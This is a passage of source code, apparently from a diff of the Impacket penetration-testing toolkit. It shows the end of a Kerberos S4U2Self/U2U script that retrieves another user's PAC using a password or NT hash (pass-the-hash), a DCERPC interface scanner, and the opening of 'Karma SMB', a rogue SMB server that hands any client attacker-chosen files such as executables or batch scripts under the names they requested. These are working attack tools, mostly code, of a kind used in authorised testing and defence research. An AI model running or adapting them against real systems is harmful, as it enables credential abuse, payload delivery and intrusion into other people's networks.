now = datetime.datetime.utcnow() + datetime.timedelta(days=1)
reqBody['till'] = KerberosTime.to_asn1(now)
reqBody['nonce'] = random.getrandbits(31)
seq_set_iter(reqBody, 'etype',
(int(cipher.enctype),int(constants.EncryptionTypes.rc4_hmac.value)))
# If you comment these two lines plus enc_tkt_in_skey as option, it is bassically a S4USelf
myTicket = ticket.to_asn1(TicketAsn1())
seq_set_iter(reqBody, 'additional-tickets', (myTicket,))
if logging.getLogger().level == logging.DEBUG:
logging.debug('Final TGS')
print tgsReq.prettyPrint()
message = encoder.encode(tgsReq)
r = sendReceive(message, self.__domain, None)
tgs = decoder.decode(r, asn1Spec = TGS_REP())[0]
if logging.getLogger().level == logging.DEBUG:
logging.debug('TGS_REP')
print tgs.prettyPrint()
cipherText = tgs['ticket']['enc-part']['cipher']
# Key Usage 2
# AS-REP Ticket and TGS-REP Ticket (includes tgs session key or
# application session key), encrypted with the service key
# (section 5.4.2)
newCipher = _enctype_table[int(tgs['ticket']['enc-part']['etype'])]
# Pass the hash/aes key :P
if self.__nthash != '':
key = Key(newCipher.enctype, self.__nthash.decode('hex'))
else:
if newCipher.enctype == Enctype.RC4:
key = newCipher.string_to_key(password, '', None)
else:
key = newCipher.string_to_key(password, self.__domain.upper()+self.__username, None)
try:
# If is was plain U2U, this is the key
plainText = newCipher.decrypt(key, 2, str(cipherText))
except:
# S4USelf + U2U uses this other key
plainText = cipher.decrypt(sessionKey, 2, str(cipherText))
self.printPac(plainText)
# Process command-line arguments.
if __name__ == '__main__':
logger.init()
print version.BANNER
parser = argparse.ArgumentParser()
parser.add_argument('credentials', action='store', help='domain/username[:password]. Valid domain credentials to use '
'for grabbing targetUser\'s PAC')
parser.add_argument('-targetUser', action='store', required=True, help='the target user to retrieve the PAC of')
parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON')
group = parser.add_argument_group('authentication')
group.add_argument('-hashes', action="store", metavar = "LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH')
if len(sys.argv)==1:
parser.print_help()
sys.exit(1)
options = parser.parse_args()
# This is because I'm lazy with regex
# ToDo: We need to change the regex to fullfil domain/username[:password]
targetParam = options.credentials + '@'
domain, username, password, address = re.compile('(?:(?:([^/@:]*)/)?([^@:]*)(?::([^@]*))?@)?(.*)').match(
targetParam).groups('')
# In case the password contains '@'
if '@' in address:
password = password + '@' + address.rpartition('@')[0]
address = address.rpartition('@')[2]
if domain is None:
domain = ''
if password == '' and username != '' and options.hashes is None:
from getpass import getpass
password = getpass("Password:")
if options.debug is True:
logging.getLogger().setLevel(logging.DEBUG)
else:
logging.getLogger().setLevel(logging.INFO)
try:
dumper = S4U2SELF(options.targetUser, username, password, domain, options.hashes)
dumper.dump(address)
except Exception, e:
logging.error(str(e))

File diff suppressed because it is too large Load Diff

View File

@@ -0,0 +1,360 @@
#!/usr/bin/env python
"""ifmap - scan for listening DCERPC interfaces
Usage: ifmap.py hostname port
First, this binds to the MGMT interface and gets a list of interface IDs. It
adds to this a large list of interface UUIDs seen in the wild. It then tries to
bind to each interface and reports whether the interface is listed and/or
listening.
This will generate a burst of TCP connections to the given host:port!
Example:
$ ./ifmap.py 10.0.0.30 135
('00000136-0000-0000-C000-000000000046', '0.0'): listed, listening
('000001A0-0000-0000-C000-000000000046', '0.0'): listed, listening
('0B0A6584-9E0F-11CF-A3CF-00805F68CB1B', '1.0'): other version listed, listening
('0B0A6584-9E0F-11CF-A3CF-00805F68CB1B', '1.1'): listed, listening
('1D55B526-C137-46C5-AB79-638F2A68E869', '1.0'): listed, listening
('412F241E-C12A-11CE-ABFF-0020AF6E7A17', '0.0'): other version listed, listening
('412F241E-C12A-11CE-ABFF-0020AF6E7A17', '0.2'): listed, listening
('4D9F4AB8-7D1C-11CF-861E-0020AF6E7C57', '0.0'): listed, listening
('99FCFEC4-5260-101B-BBCB-00AA0021347A', '0.0'): listed, listening
('AFA8BD80-7D8A-11C9-BEF4-08002B102989', '1.0'): not listed, listening
('B9E79E60-3D52-11CE-AAA1-00006901293F', '0.0'): other version listed, listening
('B9E79E60-3D52-11CE-AAA1-00006901293F', '0.2'): listed, listening
('C6F3EE72-CE7E-11D1-B71E-00C04FC3111A', '1.0'): listed, listening
('E1AF8308-5D1F-11C9-91A4-08002B14A0FA', '3.0'): listed, listening
('E60C73E6-88F9-11CF-9AF1-0020AF6E72F4', '2.0'): listed, listening
Usually, only AFA8BD80-...-89, the MGMT interface, is not listed but always
listening on any port. This is imposed by the DCERPC spec.
Author: Catalin Patulea <cat@vv.carleton.ca>
"""
import sys
import struct
from impacket.examples import logger
from impacket import uuid
from impacket.dcerpc.v5.epm import KNOWN_UUIDS
from impacket.dcerpc.v5 import transport, rpcrt, epm
from impacket.dcerpc.v5 import mgmt
uuid_database = set(uuid.string_to_uuidtup(line) for line in """
00000001-0000-0000-c000-000000000046 v0.0
00000131-0000-0000-c000-000000000046 v0.0
00000132-0000-0000-c000-000000000046 v0.0
00000134-0000-0000-c000-000000000046 v0.0
00000136-0000-0000-c000-000000000046 v0.0
00000141-0000-0000-c000-000000000046 v0.0
00000143-0000-0000-c000-000000000046 v0.0
000001a0-0000-0000-c000-000000000046 v0.0
027947e1-d731-11ce-a357-000000000001 v0.0
04fcb220-fcfd-11cd-bec8-00aa0047ae4e v1.0
06bba54a-be05-49f9-b0a0-30f790261023 v1.0
0767a036-0d22-48aa-ba69-b619480f38cb v1.0
0a5a5830-58e0-11ce-a3cc-00aa00607271 v1.0
0a74ef1c-41a4-4e06-83ae-dc74fb1cdd53 v1.0
0b0a6584-9e0f-11cf-a3cf-00805f68cb1b v1.0
0b0a6584-9e0f-11cf-a3cf-00805f68cb1b v1.1
0b6edbfa-4a24-4fc6-8a23-942b1eca65d1 v1.0
0c821d64-a3fc-11d1-bb7a-0080c75e4ec1 v1.0
0d72a7d4-6148-11d1-b4aa-00c04fb66ea0 v1.0
0da5a86c-12c2-4943-30ab-7f74a813d853 v1.0
0e4a0156-dd5d-11d2-8c2f-00c04fb6bcde v1.0
1088a980-eae5-11d0-8d9b-00a02453c337 v1.0
10f24e8e-0fa6-11d2-a910-00c04f990f3b v1.0
11220835-5b26-4d94-ae86-c3e475a809de v1.0
12345678-1234-abcd-ef00-0123456789ab v1.0
12345678-1234-abcd-ef00-01234567cffb v1.0
12345778-1234-abcd-ef00-0123456789ab v0.0
12345778-1234-abcd-ef00-0123456789ac v1.0
12b81e99-f207-4a4c-85d3-77b42f76fd14 v1.0
12d4b7c8-77d5-11d1-8c24-00c04fa3080d v1.0
12e65dd8-887f-41ef-91bf-8d816c42c2e7 v1.0
130ceefb-e466-11d1-b78b-00c04fa32883 v2.0
1453c42c-0fa6-11d2-a910-00c04f990f3b v1.0
1544f5e0-613c-11d1-93df-00c04fd7bd09 v1.0
16e0cf3a-a604-11d0-96b1-00a0c91ece30 v1.0
16e0cf3a-a604-11d0-96b1-00a0c91ece30 v2.0
17fdd703-1827-4e34-79d4-24a55c53bb37 v1.0
18f70770-8e64-11cf-9af1-0020af6e72f4 v0.0
1a9134dd-7b39-45ba-ad88-44d01ca47f28 v1.0
1bddb2a6-c0c3-41be-8703-ddbdf4f0e80a v1.0
1be617c0-31a5-11cf-a7d8-00805f48a135 v3.0
1c1c45ee-4395-11d2-b60b-00104b703efd v0.0
1cbcad78-df0b-4934-b558-87839ea501c9 v0.0
1d55b526-c137-46c5-ab79-638f2a68e869 v1.0
1ff70682-0a51-30e8-076d-740be8cee98b v1.0
201ef99a-7fa0-444c-9399-19ba84f12a1a v1.0
20610036-fa22-11cf-9823-00a0c911e5df v1.0
209bb240-b919-11d1-bbb6-0080c75e4ec1 v1.0
21cd80a2-b305-4f37-9d4c-4534a8d9b568 v0.0
2465e9e0-a873-11d0-930b-00a0c90ab17c v3.0
25952c5d-7976-4aa1-a3cb-c35f7ae79d1b v1.0
266f33b4-c7c1-4bd1-8f52-ddb8f2214ea9 v1.0
28607ff1-15a0-8e03-d670-b89eec8eb047 v1.0
2acb9d68-b434-4b3e-b966-e06b4b3a84cb v1.0
2eb08e3e-639f-4fba-97b1-14f878961076 v1.0
2f59a331-bf7d-48cb-9e5c-7c090d76e8b8 v1.0
2f5f3220-c126-1076-b549-074d078619da v1.2
2f5f6520-ca46-1067-b319-00dd010662da v1.0
2f5f6521-ca47-1068-b319-00dd010662db v1.0
2f5f6521-cb55-1059-b446-00df0bce31db v1.0
2fb92682-6599-42dc-ae13-bd2ca89bd11c v1.0
300f3532-38cc-11d0-a3f0-0020af6b0add v1.2
326731e3-c1c0-4a69-ae20-7d9044a4ea5c v1.0
333a2276-0000-0000-0d00-00809c000000 v3.0
338cd001-2244-31f1-aaaa-900038001003 v1.0
342cfd40-3c6c-11ce-a893-08002b2e9c6d v0.0
3473dd4d-2e88-4006-9cba-22570909dd10 v5.0
3473dd4d-2e88-4006-9cba-22570909dd10 v5.1
359e47c9-682e-11d0-adec-00c04fc2a078 v1.0
367abb81-9844-35f1-ad32-98f038001003 v2.0
369ce4f0-0fdc-11d3-bde8-00c04f8eee78 v1.0
378e52b0-c0a9-11cf-822d-00aa0051e40f v1.0
386ffca4-22f5-4464-b660-be08692d7296 v1.0
38a94e72-a9bc-11d2-8faf-00c04fa378ff v1.0
3919286a-b10c-11d0-9ba8-00c04fd92ef5 v0.0
3ba0ffc0-93fc-11d0-a4ec-00a0c9062910 v1.0
3c4728c5-f0ab-448b-bda1-6ce01eb0a6d5 v1.0
3c4728c5-f0ab-448b-bda1-6ce01eb0a6d6 v1.0
3dde7c30-165d-11d1-ab8f-00805f14db40 v1.0
3f31c91e-2545-4b7b-9311-9529e8bffef6 v1.0
3f77b086-3a17-11d3-9166-00c04f688e28 v1.0
3f99b900-4d87-101b-99b7-aa0004007f07 v1.0
3faf4738-3a21-4307-b46c-fdda9bb8c0d5 v1.0
3faf4738-3a21-4307-b46c-fdda9bb8c0d5 v1.1
41208ee0-e970-11d1-9b9e-00e02c064c39 v1.0
412f241e-c12a-11ce-abff-0020af6e7a17 v0.2
423ec01e-2e35-11d2-b604-00104b703efd v0.0
45776b01-5956-4485-9f80-f428f7d60129 v2.0
45f52c28-7f9f-101a-b52b-08002b2efabe v1.0
469d6ec0-0d87-11ce-b13f-00aa003bac6c v16.0
4825ea41-51e3-4c2a-8406-8f2d2698395f v1.0
4a452661-8290-4b36-8fbe-7f4093a94978 v1.0
4b112204-0e19-11d3-b42b-0000f81feb9f v1.0
4b324fc8-1670-01d3-1278-5a47bf6ee188 v0.0
4b324fc8-1670-01d3-1278-5a47bf6ee188 v3.0
4d9f4ab8-7d1c-11cf-861e-0020af6e7c57 v0.0
4da1c422-943d-11d1-acae-00c04fc2aa3f v1.0
4f82f460-0e21-11cf-909e-00805f48a135 v4.0
4fc742e0-4a10-11cf-8273-00aa004ae673 v3.0
50abc2a4-574d-40b3-9d66-ee4fd5fba076 v5.0
53e75790-d96b-11cd-ba18-08002b2dfead v2.0
56c8504c-4408-40fd-93fc-afd30f10c90d v1.0
57674cd0-5200-11ce-a897-08002b2e9c6d v0.0
57674cd0-5200-11ce-a897-08002b2e9c6d v1.0
5a7b91f8-ff00-11d0-a9b2-00c04fb6e6fc v1.0
5b5b3580-b0e0-11d1-b92d-0060081e87f0 v1.0
5b821720-f63b-11d0-aad2-00c04fc324db v1.0
5c89f409-09cc-101a-89f3-02608c4d2361 v1.1
5ca4a760-ebb1-11cf-8611-00a0245420ed v1.0
5cbe92cb-f4be-45c9-9fc9-33e73e557b20 v1.0
5f54ce7d-5b79-4175-8584-cb65313a0e98 v1.0
6099fc12-3eff-11d0-abd0-00c04fd91a4e v3.0
621dff68-3c39-4c6c-aae3-e68e2c6503ad v1.0
629b9f66-556c-11d1-8dd2-00aa004abd5e v2.0
629b9f66-556c-11d1-8dd2-00aa004abd5e v3.0
63fbe424-2029-11d1-8db8-00aa004abd5e v1.0
654976df-1498-4056-a15e-cb4e87584bd8 v1.0
65a93890-fab9-43a3-b2a5-1e330ac28f11 v2.0
68dcd486-669e-11d1-ab0c-00c04fc2dcd2 v1.0
68dcd486-669e-11d1-ab0c-00c04fc2dcd2 v2.0
69510fa1-2f99-4eeb-a4ff-af259f0f9749 v1.0
6bffd098-0206-0936-4859-199201201157 v1.0
6bffd098-a112-3610-9833-012892020162 v0.0
6bffd098-a112-3610-9833-46c3f874532d v1.0
6bffd098-a112-3610-9833-46c3f87e345a v1.0
6e17aaa0-1a47-11d1-98bd-0000f875292e v2.0
708cca10-9569-11d1-b2a5-0060977d8118 v1.0
70b51430-b6ca-11d0-b9b9-00a0c922e750 v0.0
76d12b80-3467-11d3-91ff-0090272f9ea3 v1.0
76f226c3-ec14-4325-8a99-6a46348418ae v1.0
76f226c3-ec14-4325-8a99-6a46348418af v1.0
77df7a80-f298-11d0-8358-00a024c480a8 v1.0
7af5bbd0-6063-11d1-ae2a-0080c75e4ec1 v0.2
7c44d7d4-31d5-424c-bd5e-2b3e1f323d22 v1.0
7c857801-7381-11cf-884d-00aa004b2e24 v0.0
7e048d38-ac08-4ff1-8e6b-f35dbab88d4a v1.0
7ea70bcf-48af-4f6a-8968-6a440754d5fa v1.0
7f9d11bf-7fb9-436b-a812-b2d50c5d4c03 v1.0
811109bf-a4e1-11d1-ab54-00a0c91e9b45 v1.0
8174bb16-571b-4c38-8386-1102b449044a v1.0
82273fdc-e32a-18c3-3f78-827929dc23ea v0.0
82980780-4b64-11cf-8809-00a004ff3128 v3.0
82ad4280-036b-11cf-972c-00aa006887b0 v2.0
83d72bf0-0d89-11ce-b13f-00aa003bac6c v6.0
83da7c00-e84f-11d2-9807-00c04f8ec850 v2.0
86d35949-83c9-4044-b424-db363231fd0c v1.0
894de0c0-0d55-11d3-a322-00c04fa321a1 v1.0
89742ace-a9ed-11cf-9c0c-08002be7ae86 v2.0
8c7a6de0-788d-11d0-9edf-444553540000 v2.0
8c7daf44-b6dc-11d1-9a4c-0020af6e7c57 v1.0
8cfb5d70-31a4-11cf-a7d8-00805f48a135 v3.0
8d09b37c-9f3a-4ebb-b0a2-4dee7d6ceae9 v1.0
8d0ffe72-d252-11d0-bf8f-00c04fd9126b v1.0
8d9f4e40-a03d-11ce-8f69-08003e30051b v0.0
8d9f4e40-a03d-11ce-8f69-08003e30051b v1.0
8f09f000-b7ed-11ce-bbd2-00001a181cad v0.0
8fb6d884-2388-11d0-8c35-00c04fda2795 v4.1
906b0ce0-c70b-1067-b317-00dd010662da v1.0
91ae6020-9e3c-11cf-8d7c-00aa00c091be v0.0
92bdb7e4-f28b-46a0-b551-45a52bdd5125 v0.0
93149ca2-973b-11d1-8c39-00c04fb984f9 v0.0
93f5ac6f-1a94-4bc5-8d1b-fd44fc255089 v1.0
9556dc99-828c-11cf-a37e-00aa003240c7 v0.0
95958c94-a424-4055-b62b-b7f4d5c47770 v1.0
975201b0-59ca-11d0-a8d5-00a0c90d8051 v1.0
98fe2c90-a542-11d0-a4ef-00a0c9062910 v1.0
99e64010-b032-11d0-97a4-00c04fd6551d v3.0
99fcfec4-5260-101b-bbcb-00aa0021347a v0.0
9b3195fe-d603-43d1-a0d5-9072d7cde122 v1.0
9b8699ae-0e44-47b1-8e7f-86a461d7ecdc v0.0
9e8ee830-4459-11ce-979b-00aa005ffebe v2.0
a002b3a0-c9b7-11d1-ae88-0080c75e4ec1 v1.0
a00c021c-2be2-11d2-b678-0000f87a8f8e v1.0
a0bc4698-b8d7-4330-a28f-7709e18b6108 v4.0
a2d47257-12f7-4beb-8981-0ebfa935c407 v1.0
a398e520-d59a-4bdd-aa7a-3c1e0303a511 v1.0
a3b749b1-e3d0-4967-a521-124055d1c37d v1.0
a4c2fd60-5210-11d1-8fc2-00a024cb6019 v1.0
a4f1db00-ca47-1067-b31e-00dd010662da v1.0
a4f1db00-ca47-1067-b31f-00dd010662da v0.0
a4f1db00-ca47-1067-b31f-00dd010662da v0.81
aa177641-fc9b-41bd-80ff-f964a701596f v1.0
aa411582-9bdf-48fb-b42b-faa1eee33949 v1.0
aae9ac90-ce13-11cf-919e-08002be23c64 v1.0
ae33069b-a2a8-46ee-a235-ddfd339be281 v1.0
afa8bd80-7d8a-11c9-bef4-08002b102989 v1.0
b196b284-bab4-101a-b69c-00aa00341d07 v0.0
b196b286-bab4-101a-b69c-00aa00341d07 v0.0
b58aa02e-2884-4e97-8176-4ee06d794184 v1.0
b7b31df9-d515-11d3-a11c-00105a1f515a v0.0
b97db8b2-4c63-11cf-bff6-08002be23f2f v2.0
b9e79e60-3d52-11ce-aaa1-00006901293f v0.2
bfa951d1-2f0e-11d3-bfd1-00c04fa3490a v1.0
c13d3372-cc20-4449-9b23-8cc8271b3885 v1.0
c33b9f46-2088-4dbc-97e3-6125f127661c v1.0
c681d488-d850-11d0-8c52-00c04fd90f7e v1.0
c6f3ee72-ce7e-11d1-b71e-00c04fc3111a v1.0
c8cb7687-e6d3-11d2-a958-00c04f682e16 v1.0
c9378ff1-16f7-11d0-a0b2-00aa0061426a v1.0
c9ac6db5-82b7-4e55-ae8a-e464ed7b4277 v1.0
ce1334a5-41dd-40ea-881d-64326b23effe v0.2
d049b186-814f-11d1-9a3c-00c04fc9b232 v1.1
d2d79dfa-3400-11d0-b40b-00aa005ff586 v1.0
d335b8f6-cb31-11d0-b0f9-006097ba4e54 v1.5
d3fbb514-0e3b-11cb-8fad-08002b1d29c3 v1.0
d4781cd6-e5d3-44df-ad94-930efe48a887 v0.0
d6d70ef0-0e3b-11cb-acc3-08002b1d29c3 v1.0
d6d70ef0-0e3b-11cb-acc3-08002b1d29c4 v1.0
d7f9e1c0-2247-11d1-ba89-00c04fd91268 v5.0
d95afe70-a6d5-4259-822e-2c84da1ddb0d v1.0
dd490425-5325-4565-b774-7e27d6c09c24 v1.0
e1af8308-5d1f-11c9-91a4-08002b14a0fa v3.0
e248d0b8-bf15-11cf-8c5e-08002bb49649 v2.0
e33c0cc4-0482-101a-bc0c-02608c6ba218 v1.0
e3514235-4b06-11d1-ab04-00c04fc2dcd2 v4.0
e60c73e6-88f9-11cf-9af1-0020af6e72f4 v2.0
e67ab081-9844-3521-9d32-834f038001c0 v1.0
e76ea56d-453f-11cf-bfec-08002be23f2f v2.0
ea0a3165-4834-11d2-a6f8-00c04fa346cc v4.0
eb658b8a-7a64-4ddc-9b8d-a92610db0206 v0.0
ec02cae0-b9e0-11d2-be62-0020afeddf63 v1.0
ecec0d70-a603-11d0-96b1-00a0c91ece30 v1.0
ecec0d70-a603-11d0-96b1-00a0c91ece30 v2.0
eff55e30-4ee2-11ce-a3c9-00aa00607271 v1.0
f309ad18-d86a-11d0-a075-00c04fb68820 v0.0
f50aac00-c7f3-428e-a022-a6b71bfb9d43 v1.0
f5cc59b4-4264-101a-8c59-08002b2f8426 v1.1
f5cc5a18-4264-101a-8c59-08002b2f8426 v56.0
f5cc5a7c-4264-101a-8c59-08002b2f8426 v21.0
f6beaff7-1e19-4fbb-9f8f-b89e2018337c v1.0
f930c514-1215-11d3-99a5-00a0c9b61b04 v1.0
fc13257d-5567-4dea-898d-c6f9c48415a0 v1.0
fd7a0523-dc70-43dd-9b2e-9c5ed48225b1 v1.0
fdb3a030-065f-11d1-bb9b-00a024ea5525 v1.0
ffe561b8-bf15-11cf-8c5e-08002bb49649 v2.0
""".splitlines() if line)
uuid_database = set((uuidstr.upper(), ver) for uuidstr, ver in uuid_database)
# add the ones from ndrutils
k = KNOWN_UUIDS.keys()[0]
def fix_ndr_uuid(ndruuid):
assert len(ndruuid) == 18
uuid = ndruuid[:16]
maj, min = struct.unpack("BB", ndruuid[16:])
return uuid + struct.pack("<HH", maj, min)
uuid_database.update(
uuid.bin_to_uuidtup(fix_ndr_uuid(bin)) for bin in KNOWN_UUIDS.keys()
)
def main(args):
# Init the example's logger theme
logger.init()
if len(args) != 2:
print "usage: ./ifmap.py <host> <port>"
return 1
host = args[0]
port = int(args[1])
stringbinding = "ncacn_ip_tcp:%s" % host
trans = transport.DCERPCTransportFactory(stringbinding)
trans.set_dport(port)
dce = trans.get_dce_rpc()
dce.connect()
dce.bind(mgmt.MSRPC_UUID_MGMT)
ifids = mgmt.hinq_if_ids(dce)
uuidtups = set(
uuid.bin_to_uuidtup(ifids['if_id_vector']['if_id'][index]['Data'].getData())
for index in range(ifids['if_id_vector']['count'])
)
dce.disconnect()
probes = uuidtups | uuid_database
for tup in sorted(probes):
dce.connect()
binuuid = uuid.uuidtup_to_bin(tup)
try:
dce.bind(binuuid)
except rpcrt.DCERPCException, e:
if str(e).find('abstract_syntax_not_supported') >= 0:
listening = False
else:
raise
else:
listening = True
listed = tup in uuidtups
otherversion = any(tup[0] == uuidstr for uuidstr, ver in uuidtups)
if listed or listening:
print "%r: %s, %s" % (
tup,
"listed" if listed else "other version listed" if otherversion else "not listed",
"listening" if listening else "not listening"
)
if epm.KNOWN_PROTOCOLS.has_key(tup[0]):
print "Protocol: %s" % (epm.KNOWN_PROTOCOLS[tup[0]])
else:
print "Procotol: N/A"
if KNOWN_UUIDS.has_key(uuid.uuidtup_to_bin(tup)[:18]):
print "Provider: %s" % (KNOWN_UUIDS[uuid.uuidtup_to_bin(tup)[:18]])
else:
print "Provider: N/A"
if __name__ == "__main__":
sys.exit(main(sys.argv[1:]))

View File

@@ -0,0 +1,629 @@
#!/usr/bin/env python
# Copyright (c) 2016 CORE Security Technologies
#
# This software is provided under under a slightly modified version
# of the Apache Software License. See the accompanying LICENSE file
# for more information.
#
# Karma SMB
#
# Author:
# Alberto Solino (@agsolino)
# Original idea by @mubix
#
# Description:
# The idea of this script is to answer any file read request
# with a set of predefined contents based on the extension
# asked, regardless of the sharename and/or path.
# When executing this script w/o a config file the pathname
# file contents will be sent for every request.
# If a config file is specified, format should be this way:
# <extension> = <pathname>
# for example:
# bat = /tmp/batchfile
# com = /tmp/comfile
# exe = /tmp/exefile
#
# The SMB2 support works with a caveat. If two different
# filenames at the same share are requested, the first
# one will work and the second one will not work if the request
# is performed right away. This seems related to the
# QUERY_DIRECTORY request, where we return the files available.
# In the first try, we return the file that was asked to open.
# In the second try, the client will NOT ask for another
# QUERY_DIRECTORY but will use the cached one. This time the new file
# is not there, so the client assumes it doesn't exist.
# After a few seconds, looks like the client cache is cleared and
# the operation works again. Further research is needed trying
# to avoid this from happening.
#
# SMB1 seems to be working fine on that scenario.
#
# ToDo:
# [ ] A lot of testing needed under different OSes.
# I'm still not sure how reliable this approach is.
# [ ] Add support for other SMB read commands. Right now just
# covering SMB_COM_NT_CREATE_ANDX
# [ ] Disable write request, now if the client tries to copy
# a file back to us, it will overwrite the files we're
# hosting. *CAREFUL!!!*
#
import sys
import os
import argparse
import logging
import ntpath
import ConfigParser
from threading import Thread
from impacket.examples import logger
from impacket import smbserver, smb, version
import impacket.smb3structs as smb2
from impacket.smb import FILE_OVERWRITE, FILE_OVERWRITE_IF, FILE_WRITE_DATA, FILE_APPEND_DATA, GENERIC_WRITE
from impacket.nt_errors import STATUS_USER_SESSION_DELETED, STATUS_SUCCESS, STATUS_ACCESS_DENIED, STATUS_NO_MORE_FILES, \
STATUS_OBJECT_PATH_NOT_FOUND
from impacket.smbserver import SRVSServer, decodeSMBString, findFirst2, STATUS_SMB_BAD_TID, encodeSMBString, \
getFileTime, queryPathInformation
class KarmaSMBServer(Thread):
def __init__(self, smb2Support = False):
Thread.__init__(self)
self.server = 0
self.defaultFile = None
self.extensions = {}
# Here we write a mini config for the server
smbConfig = ConfigParser.ConfigParser()
smbConfig.add_section('global')
smbConfig.set('global','server_name','server_name')
smbConfig.set('global','server_os','UNIX')
smbConfig.set('global','server_domain','WORKGROUP')
smbConfig.set('global','log_file','smb.log')
smbConfig.set('global','credentials_file','')
# IPC always needed
smbConfig.add_section('IPC$')
smbConfig.set('IPC$','comment','Logon server share')
smbConfig.set('IPC$','read only','yes')
smbConfig.set('IPC$','share type','3')
smbConfig.set('IPC$','path','')
# NETLOGON always needed
smbConfig.add_section('NETLOGON')
smbConfig.set('NETLOGON','comment','Logon server share')
smbConfig.set('NETLOGON','read only','no')
smbConfig.set('NETLOGON','share type','0')
smbConfig.set('NETLOGON','path','')
# SYSVOL always needed
smbConfig.add_section('SYSVOL')
smbConfig.set('SYSVOL','comment','')
smbConfig.set('SYSVOL','read only','no')
smbConfig.set('SYSVOL','share type','0')
smbConfig.set('SYSVOL','path','')
if smb2Support:
smbConfig.set("global", "SMB2Support", "True")
self.server = smbserver.SMBSERVER(('0.0.0.0',445), config_parser = smbConfig)
self.server.processConfigFile()
# Unregistering some dangerous and unwanted commands
self.server.unregisterSmbCommand(smb.SMB.SMB_COM_CREATE_DIRECTORY)
self.server.unregisterSmbCommand(smb.SMB.SMB_COM_DELETE_DIRECTORY)
self.server.unregisterSmbCommand(smb.SMB.SMB_COM_RENAME)
self.server.unregisterSmbCommand(smb.SMB.SMB_COM_DELETE)
self.server.unregisterSmbCommand(smb.SMB.SMB_COM_WRITE)
self.server.unregisterSmbCommand(smb.SMB.SMB_COM_WRITE_ANDX)
self.server.unregisterSmb2Command(smb2.SMB2_WRITE)
self.origsmbComNtCreateAndX = self.server.hookSmbCommand(smb.SMB.SMB_COM_NT_CREATE_ANDX, self.smbComNtCreateAndX)
self.origsmbComTreeConnectAndX = self.server.hookSmbCommand(smb.SMB.SMB_COM_TREE_CONNECT_ANDX, self.smbComTreeConnectAndX)
self.origQueryPathInformation = self.server.hookTransaction2(smb.SMB.TRANS2_QUERY_PATH_INFORMATION, self.queryPathInformation)
self.origFindFirst2 = self.server.hookTransaction2(smb.SMB.TRANS2_FIND_FIRST2, self.findFirst2)
# And the same for SMB2
self.origsmb2TreeConnect = self.server.hookSmb2Command(smb2.SMB2_TREE_CONNECT, self.smb2TreeConnect)
self.origsmb2Create = self.server.hookSmb2Command(smb2.SMB2_CREATE, self.smb2Create)
self.origsmb2QueryDirectory = self.server.hookSmb2Command(smb2.SMB2_QUERY_DIRECTORY, self.smb2QueryDirectory)
self.origsmb2Read = self.server.hookSmb2Command(smb2.SMB2_READ, self.smb2Read)
self.origsmb2Close = self.server.hookSmb2Command(smb2.SMB2_CLOSE, self.smb2Close)
# Now we have to register the MS-SRVS server. This specially important for
# Windows 7+ and Mavericks clients since they WONT (specially OSX)
# ask for shares using MS-RAP.
self.__srvsServer = SRVSServer()
self.__srvsServer.daemon = True
self.server.registerNamedPipe('srvsvc',('127.0.0.1',self.__srvsServer.getListenPort()))
def findFirst2(self, connId, smbServer, recvPacket, parameters, data, maxDataCount):
connData = smbServer.getConnectionData(connId)
respSetup = ''
respParameters = ''
respData = ''
findFirst2Parameters = smb.SMBFindFirst2_Parameters( recvPacket['Flags2'], data = parameters)
# 1. Let's grab the extension and map the file's contents we will deliver
origPathName = os.path.normpath(decodeSMBString(recvPacket['Flags2'],findFirst2Parameters['FileName']).replace('\\','/'))
origFileName = os.path.basename(origPathName)
_, origPathNameExtension = os.path.splitext(origPathName)
origPathNameExtension = origPathNameExtension.upper()[1:]
if self.extensions.has_key(origPathNameExtension.upper()):
targetFile = self.extensions[origPathNameExtension.upper()]
else:
targetFile = self.defaultFile
if connData['ConnectedShares'].has_key(recvPacket['Tid']):
path = connData['ConnectedShares'][recvPacket['Tid']]['path']
# 2. We call the normal findFirst2 call, but with our targetFile
searchResult, searchCount, errorCode = findFirst2(path,
targetFile,
findFirst2Parameters['InformationLevel'],
findFirst2Parameters['SearchAttributes'] )
respParameters = smb.SMBFindFirst2Response_Parameters()
endOfSearch = 1
sid = 0x80 # default SID
searchCount = 0
totalData = 0
for i in enumerate(searchResult):
#i[1].dump()
try:
# 3. And we restore the original filename requested ;)
i[1]['FileName'] = encodeSMBString( flags = recvPacket['Flags2'], text = origFileName)
except:
pass
data = i[1].getData()
lenData = len(data)
if (totalData+lenData) >= maxDataCount or (i[0]+1) > findFirst2Parameters['SearchCount']:
# We gotta stop here and continue on a find_next2
endOfSearch = 0
# Simple way to generate a fid
if len(connData['SIDs']) == 0:
sid = 1
else:
sid = connData['SIDs'].keys()[-1] + 1
# Store the remaining search results in the ConnData SID
connData['SIDs'][sid] = searchResult[i[0]:]
respParameters['LastNameOffset'] = totalData
break
else:
searchCount +=1
respData += data
totalData += lenData
respParameters['SID'] = sid
respParameters['EndOfSearch'] = endOfSearch
respParameters['SearchCount'] = searchCount
else:
errorCode = STATUS_SMB_BAD_TID
smbServer.setConnectionData(connId, connData)
return respSetup, respParameters, respData, errorCode
def smbComNtCreateAndX(self, connId, smbServer, SMBCommand, recvPacket):
connData = smbServer.getConnectionData(connId)
ntCreateAndXParameters = smb.SMBNtCreateAndX_Parameters(SMBCommand['Parameters'])
ntCreateAndXData = smb.SMBNtCreateAndX_Data( flags = recvPacket['Flags2'], data = SMBCommand['Data'])
respSMBCommand = smb.SMBCommand(smb.SMB.SMB_COM_NT_CREATE_ANDX)
#ntCreateAndXParameters.dump()
# Let's try to avoid allowing write requests from the client back to us
# not 100% bulletproof, plus also the client might be using other SMB
# calls (e.g. SMB_COM_WRITE)
createOptions = ntCreateAndXParameters['CreateOptions']
if createOptions & smb.FILE_DELETE_ON_CLOSE == smb.FILE_DELETE_ON_CLOSE:
errorCode = STATUS_ACCESS_DENIED
elif ntCreateAndXParameters['Disposition'] & smb.FILE_OVERWRITE == FILE_OVERWRITE:
errorCode = STATUS_ACCESS_DENIED
elif ntCreateAndXParameters['Disposition'] & smb.FILE_OVERWRITE_IF == FILE_OVERWRITE_IF:
errorCode = STATUS_ACCESS_DENIED
elif ntCreateAndXParameters['AccessMask'] & smb.FILE_WRITE_DATA == FILE_WRITE_DATA:
errorCode = STATUS_ACCESS_DENIED
elif ntCreateAndXParameters['AccessMask'] & smb.FILE_APPEND_DATA == FILE_APPEND_DATA:
errorCode = STATUS_ACCESS_DENIED
